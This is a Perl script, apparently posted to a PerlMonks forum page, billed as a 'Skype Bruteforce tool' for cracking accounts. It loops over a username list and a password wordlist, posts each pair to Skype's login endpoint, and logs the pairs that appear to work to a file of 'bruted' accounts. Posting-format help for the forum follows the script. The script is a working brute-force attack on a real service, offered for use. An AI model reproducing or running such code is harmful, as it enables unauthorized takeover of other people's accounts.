#!/usr/bin/perl 
#
#Skype Bruteforce tool By Imad'Ox Hunter
#
#Crack Skype Accouts with wordlist 
#
#Imad'Ox Hunter : Hacking Tools Coder
#
#Contact : http://fb.com/imad.elouajib
#
#or      : imadelouajib@gmail.com

 use Getopt::Std;
 use HTTP::Request::Common qw(POST);
 use LWP::UserAgent;

$SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';

  $| = 1; 

  sub sig_catch {
  exit;
  }

  getopts('u:p:');
  our($opt_u,$opt_p);

  my $userlist = $opt_u;
  my $passlist = $opt_p;

    if ($userlist eq "") {
    print "\n";
    print "***********************************************************
+****************\n";
    print "Skype Bruteforcer                                          
+              \n";
    print " By Imad'Ox Hunter                                        \
+n";
    print "usage: perl $0 -u <users> -p <passwords>                   
+                     \n";
    print "***********************************************************
+****************\n";
    exit (1);
    }

    open(USERS, "<$userlist") || die ("Cannot open username file");
    open(WORDS, "<$passlist") || die ("Cannot open password file");
    @users= <USERS>;
    @words= <WORDS>;
    close(USERS);
    close(WORDS);
    $i=0;
 
 foreach $user (@users) {
 chomp($user);
 foreach $pass (@words) {
 chomp($pass);
 $ua = LWP::UserAgent->new;
 printf("\n%5d Trying $user:$pass", ++$i);
 my $req = POST 'https://secure.skype.com/store/member/dologin.html',
                [ username => $user, password => $pass, login => 'Sign
++me+in' ];

  my $res = $ua->request($req);
  
  if ($res->as_string =~ /cookiecheck/gi) {
  open (LOG, ">>bruted_skype_accounts.txt");
  $time = time();
  $loctime = localtime($time);
  print LOG "\n";
  print LOG "Time: $loctime\n";
  print LOG "username: $user\n";
  print LOG "passowrd: $pass\n\n";
  close(LOG);
  }}}
[download]

---

---

Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!

Titles consisting of a single word are discouraged, and in most cases are disallowed outright.

Read Where should I post X? if you're not absolutely sure you're posting in the right place.

Please read these before you post! —

• How do I compose an effective node title?
• How do I post a question effectively?
• Markup in the Monastery

Posts may use any of the Perl Monks Approved HTML tags:

a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr

You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)

	For:		Use:
	&		&
	<		&lt;
	>		&gt;
	[		&#91;
	]		&#93;

Link using PerlMonks shortcuts! What shortcuts can I use for linking?

See Writeup Formatting Tips and other pages linked from there for more info.